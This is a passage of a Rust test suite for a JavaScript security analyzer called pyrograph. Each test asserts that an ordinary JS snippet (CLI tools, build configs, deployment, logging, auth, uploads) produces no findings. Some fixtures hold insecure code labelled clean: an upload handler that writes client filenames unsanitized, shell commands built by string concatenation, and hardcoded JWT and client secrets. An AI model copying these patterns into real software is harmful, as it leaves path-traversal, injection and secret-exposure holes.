let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Commander config init must have zero findings");
}
#[test]
fn fp_wave2_yargs_exec_tsc() {
let js = r#"
const yargs = require('yargs');
const { spawn } = require('child_process');
yargs
.command('typecheck', 'Run TypeScript compiler', {
watch: { type: 'boolean', default: false },
project: { type: 'string', default: 'tsconfig.json' }
}, function(argv) {
const args = ['-p', argv.project];
if (argv.watch) args.push('--watch');
const child = spawn('tsc', args, { stdio: 'inherit' });
child.on('close', function(code) { process.exit(code); });
})
.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "yargs_exec_tsc.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Yargs exec tsc must have zero findings");
}
#[test]
fn fp_wave2_inquirer_checkbox_choices() {
let js = r#"
const inquirer = require('inquirer');
async function selectFeatures() {
const answers = await inquirer.prompt([{
type: 'checkbox',
name: 'features',
message: 'Select features to install',
choices: [
{ name: 'TypeScript', value: 'typescript' },
{ name: 'ESLint', value: 'eslint' },
{ name: 'Prettier', value: 'prettier' },
{ name: 'Husky', value: 'husky' }
]
}]);
console.log('Selected:', answers.features.join(', '));
}
selectFeatures();
"#;
let graph = pyrograph::parse::parse_js(js, "inquirer_checkbox.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Inquirer checkbox choices must have zero findings");
}
#[test]
fn fp_wave2_chalk_table_output() {
let js = r#"
const chalk = require('chalk');
const packages = [
{ name: 'express', version: '4.18.2', size: '2.1 MB' },
{ name: 'lodash', version: '4.17.21', size: '1.4 MB' }
];
console.log(chalk.bold('Package'.padEnd(15) + 'Version'.padEnd(12) + 'Size'));
packages.forEach(function(pkg) {
console.log(pkg.name.padEnd(15) + pkg.version.padEnd(12) + chalk.cyan(pkg.size));
});
"#;
let graph = pyrograph::parse::parse_js(js, "chalk_table.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Chalk table output must have zero findings");
}
#[test]
fn fp_wave2_ora_download_indicator() {
let js = r#"
const ora = require('ora');
const { execSync } = require('child_process');
function downloadFile(url, dest) {
const spinner = ora('Downloading ' + url + '...').start();
try {
execSync('curl -s -o ' + dest + ' ' + url, { encoding: 'utf8' });
spinner.succeed('Downloaded to ' + dest);
} catch (err) {
spinner.fail('Download failed');
}
}
downloadFile('https://example.com/data.json', './data.json');
"#;
let graph = pyrograph::parse::parse_js(js, "ora_download.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Ora download indicator must have zero findings");
}
#[test]
fn fp_wave2_commander_env_check() {
let js = r#"
const { Command } = require('commander');
const program = new Command();
program
.command('env')
.description('Display environment info')
.action(function() {
console.log('NODE_ENV:', process.env.NODE_ENV || 'undefined');
console.log('PWD:', process.env.PWD);
console.log('HOME:', process.env.HOME);
console.log('PATH length:', (process.env.PATH || '').split(':').length);
});
program.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "commander_env.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Commander env check must have zero findings");
}
#[test]
fn fp_wave2_yargs_clean_command() {
let js = r#"
const yargs = require('yargs');
const fs = require('fs');
const path = require('path');
yargs
.command('clean [dir]', 'Remove build artifacts', {
dryRun: { type: 'boolean', default: false }
}, function(argv) {
const target = path.resolve(argv.dir || 'dist');
if (!fs.existsSync(target)) {
console.log('Nothing to clean');
return;
}
if (argv.dryRun) {
console.log('Would remove:', target);
} else {
fs.rmSync(target, { recursive: true, force: true });
console.log('Removed:', target);
}
})
.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "yargs_clean.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Yargs clean command must have zero findings");
}
#[test]
fn fp_wave2_inquirer_password_input() {
let js = r#"
const inquirer = require('inquirer');
async function askCredentials() {
const answers = await inquirer.prompt([
{ type: 'input', name: 'username', message: 'Username:' },
{ type: 'password', name: 'password', message: 'Password:', mask: '*' },
{ type: 'confirm', name: 'remember', message: 'Remember me?', default: false }
]);
console.log('Logging in as', answers.username);
}
askCredentials();
"#;
let graph = pyrograph::parse::parse_js(js, "inquirer_password.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Inquirer password input must have zero findings");
}
#[test]
fn fp_wave2_chalk_log_levels() {
let js = r#"
const chalk = require('chalk');
const levels = {
debug: chalk.gray,
info: chalk.blue,
warn: chalk.yellow,
error: chalk.red,
success: chalk.green
};
function log(level, message) {
const color = levels[level] || chalk.white;
console.log('[' + color(level.toUpperCase()) + '] ' + message);
}
log('info', 'Server starting');
log('success', 'Connected to database');
log('warn', 'High memory usage');
"#;
let graph = pyrograph::parse::parse_js(js, "chalk_log_levels.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Chalk log levels must have zero findings");
}
#[test]
fn fp_wave2_ora_test_suite() {
let js = r#"
const ora = require('ora');
const { execSync } = require('child_process');
async function runTests() {
const suites = ['unit', 'integration', 'e2e'];
for (const suite of suites) {
const spinner = ora('Running ' + suite + ' tests...').start();
try {
execSync('npm test -- --testPathPattern=' + suite, { stdio: 'pipe' });
spinner.succeed(suite + ' tests passed');
} catch (err) {
spinner.fail(suite + ' tests failed');
throw err;
}
}
}
runTests();
"#;
let graph = pyrograph::parse::parse_js(js, "ora_test_suite.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Ora test suite runner must have zero findings");
}
#[test]
fn fp_wave2_commander_deploy_command() {
let js = r#"
const { Command } = require('commander');
const { execSync } = require('child_process');
const program = new Command();
program
.command('deploy <environment>')
.description('Deploy to environment')
.option('--dry-run', 'Simulate deployment')
.action(function(environment, options) {
console.log('Deploying to ' + environment + '...');
if (options.dryRun) {
console.log('Dry run mode - no changes made');
return;
}
execSync('npm run build:' + environment, { stdio: 'inherit' });
execSync('aws s3 sync ./dist s3://my-bucket-' + environment, { stdio: 'inherit' });
console.log('Deployment complete');
});
program.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "commander_deploy.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Commander deploy command must have zero findings");
}
#[test]
fn fp_wave2_yargs_lint_command() {
let js = r#"
const yargs = require('yargs');
const { spawn } = require('child_process');
yargs
.command('lint [files..]', 'Run ESLint', {
fix: { type: 'boolean', default: false },
cache: { type: 'boolean', default: true }
}, function(argv) {
const args = argv.files.length ? argv.files : ['src/'];
if (argv.fix) args.push('--fix');
if (argv.cache) args.push('--cache');
const child = spawn('eslint', args, { stdio: 'inherit' });
child.on('close', function(code) { process.exit(code); });
})
.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "yargs_lint.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Yargs lint command must have zero findings");
}
#[test]
fn fp_wave2_inquirer_confirm_overwrite() {
let js = r#"
const inquirer = require('inquirer');
const fs = require('fs');
async function writeFileSafe(filePath, content) {
if (fs.existsSync(filePath)) {
const answers = await inquirer.prompt([{
type: 'confirm',
name: 'overwrite',
message: filePath + ' exists. Overwrite?',
default: false
}]);
if (!answers.overwrite) {
console.log('Skipped');
return;
}
}
fs.writeFileSync(filePath, content);
console.log('Written:', filePath);
}
writeFileSafe('./output.txt', 'hello world');
"#;
let graph = pyrograph::parse::parse_js(js, "inquirer_confirm.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Inquirer confirm overwrite must have zero findings");
}
#[test]
fn fp_wave2_chalk_gradient_output() {
let js = r#"
const chalk = require('chalk');
function banner(text) {
const lines = [
chalk.cyan('╔' + '═'.repeat(text.length + 2) + '╗'),
chalk.cyan('║ ') + chalk.bold(text) + chalk.cyan(' ║'),
chalk.cyan('╚' + '═'.repeat(text.length + 2) + '╝')
];
console.log(lines.join('\n'));
}
banner('Welcome to MyCLI v2.0');
"#;
let graph = pyrograph::parse::parse_js(js, "chalk_banner.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Chalk banner output must have zero findings");
}
#[test]
fn fp_wave2_ora_package_install() {
let js = r#"
const ora = require('ora');
const { execSync } = require('child_process');
function installPackages(packages) {
const spinner = ora('Installing ' + packages.join(', ') + '...').start();
try {
execSync('npm install ' + packages.join(' '), { stdio: 'pipe' });
spinner.succeed('Packages installed');
} catch (err) {
spinner.fail('Installation failed');
process.exit(1);
}
}
installPackages(['lodash', 'chalk', 'commander']);
"#;
let graph = pyrograph::parse::parse_js(js, "ora_install.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Ora package install must have zero findings");
}
#[test]
fn fp_wave2_commander_backup_command() {
let js = r#"
const { Command } = require('commander');
const fs = require('fs');
const path = require('path');
const program = new Command();
program
.command('backup <source>')
.option('-o, --output <dir>', 'Backup directory', './backups')
.action(function(source, options) {
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
const basename = path.basename(source);
const dest = path.join(options.output, basename + '-' + timestamp);
fs.mkdirSync(options.output, { recursive: true });
fs.cpSync(source, dest, { recursive: true });
console.log('Backed up ' + source + ' to ' + dest);
});
program.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "commander_backup.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Commander backup command must have zero findings");
}
#[test]
fn fp_wave2_yargs_bump_version() {
let js = r#"
const yargs = require('yargs');
const fs = require('fs');
yargs
.command('bump <type>', 'Bump package version', {}, function(argv) {
const pkg = { version: '1.0.0', name: 'my-package' };
const [major, minor, patch] = pkg.version.split('.').map(Number);
if (argv.type === 'major') pkg.version = (major + 1) + '.0.0';
else if (argv.type === 'minor') pkg.version = major + '.' + (minor + 1) + '.0';
else pkg.version = major + '.' + minor + '.' + (patch + 1);
fs.writeFileSync('./package.json', JSON.stringify(pkg, null, 2));
console.log('Version bumped to', pkg.version);
})
.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "yargs_bump.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Yargs bump version must have zero findings");
}
#[test]
fn fp_wave2_inquirer_autocomplete() {
let js = r#"
const inquirer = require('inquirer');
inquirer.registerPrompt('autocomplete', require('inquirer-autocomplete-prompt'));
async function searchNpm() {
const answer = await inquirer.prompt([{
type: 'autocomplete',
name: 'package',
message: 'Search package:',
source: function(answersSoFar, input) {
const pkgs = ['react', 'react-dom', 'redux', 'react-router'];
return Promise.resolve(pkgs.filter(function(p) { return p.includes(input || ''); }));
}
}]);
console.log('Selected:', answer.package);
}
searchNpm();
"#;
let graph = pyrograph::parse::parse_js(js, "inquirer_autocomplete.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Inquirer autocomplete must have zero findings");
}
#[test]
fn fp_wave2_chalk_diff_output() {
let js = r#"
const chalk = require('chalk');
function printDiff(oldStr, newStr) {
if (oldStr === newStr) {
console.log(chalk.gray('No changes'));
return;
}
console.log(chalk.red('- ' + oldStr));
console.log(chalk.green('+ ' + newStr));
}
printDiff('console.log', 'console.error');
"#;
let graph = pyrograph::parse::parse_js(js, "chalk_diff.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Chalk diff output must have zero findings");
}
#[test]
fn fp_wave2_ora_migrate_database() {
let js = r#"
const ora = require('ora');
const { execSync } = require('child_process');
async function migrate() {
const spinner = ora('Running database migrations...').start();
try {
execSync('npx prisma migrate deploy', { stdio: 'pipe' });
spinner.succeed('Migrations applied');
} catch (err) {
spinner.fail('Migration failed');
throw err;
}
}
migrate();
"#;
let graph = pyrograph::parse::parse_js(js, "ora_migrate.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Ora database migrate must have zero findings");
}
#[test]
fn fp_wave2_commander_log_command() {
let js = r#"
const { Command } = require('commander');
const { execSync } = require('child_process');
const program = new Command();
program
.command('log [count]')
.description('Show recent git commits')
.action(function(count) {
const n = parseInt(count) || 10;
const output = execSync('git log --oneline -n ' + n, { encoding: 'utf8' });
console.log(output);
});
program.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "commander_log.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Commander git log must have zero findings");
}
#[test]
fn fp_jules_b_001() {
let js = r#"
const path = require('path');
module.exports = {
entry: './src/index.js',
output: { path: path.resolve(__dirname, 'dist'), filename: 'bundle.js' }
};
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_001.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: build configuration");
}
#[test]
fn fp_jules_b_002() {
let js = r#"
const HtmlWebpackPlugin = require('html-webpack-plugin');
module.exports = {
plugins: [new HtmlWebpackPlugin({ template: './src/index.html' })]
};
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_002.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: build configuration");
}
#[test]
fn fp_jules_b_003() {
let js = r#"
module.exports = {
devServer: { contentBase: './dist', hot: true }
};
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_003.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: build configuration");
}
#[test]
fn fp_jules_b_004() {
let js = r#"
import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';
export default defineConfig({ plugins: [react()] });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_004.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: build configuration");
}
#[test]
fn fp_jules_b_005() {
let js = r#"
import { defineConfig } from 'vite';
export default defineConfig({
server: { proxy: { '/api': 'http://localhost:8080' } }
});
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_005.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: build configuration");
}
#[test]
fn fp_jules_b_006() {
let js = r#"
export default {
input: 'src/main.js',
output: { file: 'bundle.js', format: 'cjs' }
};
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_006.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: build configuration");
}
#[test]
fn fp_jules_b_007() {
let js = r#"
import babel from '@rollup/plugin-babel';
export default {
input: 'src/main.js',
plugins: [babel({ babelHelpers: 'bundled' })]
};
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_007.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: build configuration");
}
#[test]
fn fp_jules_b_008() {
let js = r#"
module.exports = {
module: { rules: [{ test: /\.css$/, use: ['style-loader', 'css-loader'] }] }
};
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_008.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: build configuration");
}
#[test]
fn fp_jules_b_009() {
let js = r#"
import { defineConfig } from 'vite';
export default defineConfig({ build: { outDir: 'build', sourcemap: true } });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_009.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: build configuration");
}
#[test]
fn fp_jules_b_010() {
let js = r#"
export default {
input: 'src/index.js',
output: [
{ file: 'dist/bundle.cjs.js', format: 'cjs' },
{ file: 'dist/bundle.esm.js', format: 'es' }
]
};
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_010.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: build configuration");
}
#[test]
fn fp_jules_b_011() {
let js = r#"
const { execSync } = require('child_process');
execSync('docker build -t myapp .', { stdio: 'inherit' });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_011.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: deployment script");
}
#[test]
fn fp_jules_b_012() {
let js = r#"
const { execSync } = require('child_process');
execSync('docker push myapp:latest', { stdio: 'inherit' });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_012.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: deployment script");
}
#[test]
fn fp_jules_b_013() {
let js = r#"
const { execSync } = require('child_process');
execSync('kubectl apply -f deployment.yaml', { stdio: 'inherit' });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_013.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: deployment script");
}
#[test]
fn fp_jules_b_014() {
let js = r#"
const k8s = require('@kubernetes/client-node');
const kc = new k8s.KubeConfig();
kc.loadFromDefault();
const k8sApi = kc.makeApiClient(k8s.CoreV1Api);
k8sApi.listNamespacedPod('default').then((res) => console.log(res.body));
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_014.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: deployment script");
}
#[test]
fn fp_jules_b_015() {
let js = r#"
const { execSync } = require('child_process');
execSync('docker-compose up -d', { stdio: 'inherit' });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_015.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: deployment script");
}
#[test]
fn fp_jules_b_016() {
let js = r#"
const { execSync } = require('child_process');
execSync('helm upgrade --install myapp ./chart', { stdio: 'inherit' });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_016.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: deployment script");
}
#[test]
fn fp_jules_b_017() {
let js = r#"
const { execSync } = require('child_process');
try { execSync('kubectl create namespace prod'); } catch(e) {}
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_017.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: deployment script");
}
#[test]
fn fp_jules_b_018() {
let js = r#"
const { exec } = require('child_process');
exec('docker system prune -f', (err, stdout) => console.log(stdout));
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_018.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: deployment script");
}
#[test]
fn fp_jules_b_019() {
let js = r#"
const { execSync } = require('child_process');
execSync('kubectl patch deployment myapp -p "{\"spec\": {\"replicas\": 3}}"', { stdio: 'inherit' });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_019.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: deployment script");
}
#[test]
fn fp_jules_b_020() {
let js = r#"
const { execSync } = require('child_process');
execSync('docker tag myapp:latest myapp:v1.0.0', { stdio: 'inherit' });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_020.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: deployment script");
}
#[test]
fn fp_jules_b_021() {
let js = r#"
const winston = require('winston');
const logger = winston.createLogger({
level: process.env.NODE_ENV === 'production' ? 'info' : 'debug',
transports: [new winston.transports.Console()]
});
logger.info('Hello');
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_021.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: logging setup");
}
#[test]
fn fp_jules_b_022() {
let js = r#"
const pino = require('pino');
const logger = pino({ level: process.env.NODE_ENV === 'test' ? 'silent' : 'info' });
logger.info('Hello');
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_022.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: logging setup");
}
#[test]
fn fp_jules_b_023() {
let js = r#"
const bunyan = require('bunyan');
const log = bunyan.createLogger({
name: 'myapp',
level: process.env.NODE_ENV === 'production' ? 'info' : 'trace'
});
log.info('Hello');
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_023.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: logging setup");
}
#[test]
fn fp_jules_b_024() {
let js = r#"
const winston = require('winston');
const logger = winston.createLogger({
transports: [
new winston.transports.File({ filename: 'error.log', level: 'error' }),
new winston.transports.Console({ level: process.env.NODE_ENV === 'dev' ? 'debug' : 'info' })
]
});
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_024.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: logging setup");
}
#[test]
fn fp_jules_b_025() {
let js = r#"
const pino = require('pino');
const isDev = process.env.NODE_ENV === 'development';
const logger = pino(isDev ? { transport: { target: 'pino-pretty' } } : {});
logger.warn('Warning');
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_025.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: logging setup");
}
#[test]
fn fp_jules_b_026() {
let js = r#"
const bunyan = require('bunyan');
const log = bunyan.createLogger({
name: 'app',
streams: [
{ level: process.env.NODE_ENV === 'prod' ? 'info' : 'debug', stream: process.stdout }
]
});
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_026.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: logging setup");
}
#[test]
fn fp_jules_b_027() {
let js = r#"
const { createLogger, format, transports } = require('winston');
const logger = createLogger({
format: format.combine(format.timestamp(), format.json()),
transports: [new transports.Console()]
});
if (process.env.NODE_ENV !== 'production') {
logger.add(new transports.Console({ format: format.simple() }));
}
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_027.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: logging setup");
}
#[test]
fn fp_jules_b_028() {
let js = r#"
const pino = require('pino');
const logger = pino({ level: process.env.NODE_ENV || 'info' });
const child = logger.child({ module: 'auth' });
child.info('Auth started');
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_028.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: logging setup");
}
#[test]
fn fp_jules_b_029() {
let js = r#"
const bunyan = require('bunyan');
const log = bunyan.createLogger({
name: 'foo',
streams: [{
type: 'rotating-file',
path: '/var/log/foo.log',
period: '1d',
count: 3
}]
});
if (process.env.NODE_ENV === 'development') log.level('debug');
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_029.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: logging setup");
}
#[test]
fn fp_jules_b_030() {
let js = r#"
const winston = require('winston');
require('winston-syslog').Syslog;
const options = { host: 'localhost', port: 514 };
const logger = winston.createLogger({
level: process.env.NODE_ENV === 'production' ? 'warn' : 'debug',
transports: [new winston.transports.Syslog(options)]
});
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_030.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: logging setup");
}
#[test]
fn fp_jules_b_031() {
let js = r#"
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const secret = process.env.JWT_SECRET || crypto.randomBytes(32).toString('hex');
const token = jwt.sign({ id: 1 }, secret, { expiresIn: '1h' });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_031.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: auth flow");
}
#[test]
fn fp_jules_b_032() {
let js = r#"
const crypto = require('crypto');
const state = crypto.randomBytes(16).toString('hex');
const authUrl = `https://provider.com/oauth/authorize?client_id=123&state=${state}`;
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_032.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: auth flow");
}
#[test]
fn fp_jules_b_033() {
let js = r#"
const jwt = require('jsonwebtoken');
function verifyToken(token, secret) {
try { return jwt.verify(token, secret); } catch(e) { return null; }
}
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_033.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: auth flow");
}
#[test]
fn fp_jules_b_034() {
let js = r#"
const crypto = require('crypto');
const verifier = crypto.randomBytes(32).toString('base64url');
const challenge = crypto.createHash('sha256').update(verifier).digest('base64url');
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_034.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: auth flow");
}
#[test]
fn fp_jules_b_035() {
let js = r#"
const jwt = require('jsonwebtoken');
const decoded = jwt.decode(token, { complete: true });
console.log(decoded.header);
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_035.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: auth flow");
}
#[test]
fn fp_jules_b_036() {
let js = r#"
const crypto = require('crypto');
function generateRefreshToken() {
return crypto.randomBytes(64).toString('hex');
}
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_036.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: auth flow");
}
#[test]
fn fp_jules_b_037() {
let js = r#"
const jwksClient = require('jwks-rsa');
const client = jwksClient({ jwksUri: 'https://example.com/.well-known/jwks.json' });
function getKey(header, callback){
client.getSigningKey(header.kid, function(err, key) {
const signingKey = key.publicKey || key.rsaPublicKey;
callback(null, signingKey);
});
}
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_037.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: auth flow");
}
#[test]
fn fp_jules_b_038() {
let js = r#"
const axios = require('axios');
async function exchangeCode(code) {
const res = await axios.post('https://oauth.com/token', {
code, client_id: 'id', client_secret: 'sec', grant_type: 'authorization_code'
});
return res.data.access_token;
}
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_038.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: auth flow");
}
#[test]
fn fp_jules_b_039() {
let js = r#"
const session = require('express-session');
const crypto = require('crypto');
const app = require('express')();
app.use(session({
secret: crypto.randomBytes(32).toString('hex'),
resave: false, saveUninitialized: true
}));
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_039.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: auth flow");
}
#[test]
fn fp_jules_b_040() {
let js = r#"
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const nonce = crypto.randomBytes(16).toString('hex');
const token = jwt.sign({ data: 'foo', nonce }, 'secret', { algorithm: 'HS256' });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_040.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: auth flow");
}
#[test]
fn fp_jules_b_041() {
let js = r#"
const express = require('express');
const multer = require('multer');
const upload = multer({ dest: 'uploads/' });
const app = express();
app.post('/profile', upload.single('avatar'), function (req, res) { res.send('OK'); });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_041.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: file upload handler");
}
#[test]
fn fp_jules_b_042() {
let js = r#"
const Busboy = require('busboy');
const http = require('http');
http.createServer((req, res) => {
if (req.method === 'POST') {
const busboy = new Busboy({ headers: req.headers });
busboy.on('file', (fieldname, file, filename) => { file.resume(); });
busboy.on('finish', () => { res.writeHead(200); res.end('done'); });
req.pipe(busboy);
}
});
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_042.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: file upload handler");
}
#[test]
fn fp_jules_b_043() {
let js = r#"
const multer = require('multer');
const storage = multer.diskStorage({
destination: function (req, file, cb) { cb(null, '/tmp/my-uploads') },
filename: function (req, file, cb) { cb(null, file.fieldname + '-' + Date.now()) }
});
const upload = multer({ storage: storage });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_043.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: file upload handler");
}
#[test]
fn fp_jules_b_044() {
let js = r#"
const Busboy = require('busboy');
const fs = require('fs');
const os = require('os');
const path = require('path');
function upload(req, res) {
const busboy = new Busboy({ headers: req.headers });
busboy.on('file', (fieldname, file, filename) => {
const saveTo = path.join(os.tmpdir(), filename);
file.pipe(fs.createWriteStream(saveTo));
});
req.pipe(busboy);
}
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_044.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: file upload handler");
}
#[test]
fn fp_jules_b_045() {
let js = r#"
const multer = require('multer');
const storage = multer.memoryStorage();
const upload = multer({ storage: storage });
app.post('/upload', upload.single('doc'), (req, res) => {
console.log(req.file.buffer);
res.send('Uploaded');
});
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_045.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: file upload handler");
}
#[test]
fn fp_jules_b_046() {
let js = r#"
const Busboy = require('busboy');
function handle(req, res) {
const bb = new Busboy({ headers: req.headers });
bb.on('field', (name, val) => { console.log(name, val); });
bb.on('finish', () => { res.end(); });
req.pipe(bb);
}
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_046.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: file upload handler");
}
#[test]
fn fp_jules_b_047() {
let js = r#"
const multer = require('multer');
const upload = multer({
dest: 'uploads/',
fileFilter: (req, file, cb) => {
if (file.mimetype === 'image/jpeg') cb(null, true);
else cb(new Error('Wrong type'), false);
}
});
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_047.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: file upload handler");
}
#[test]
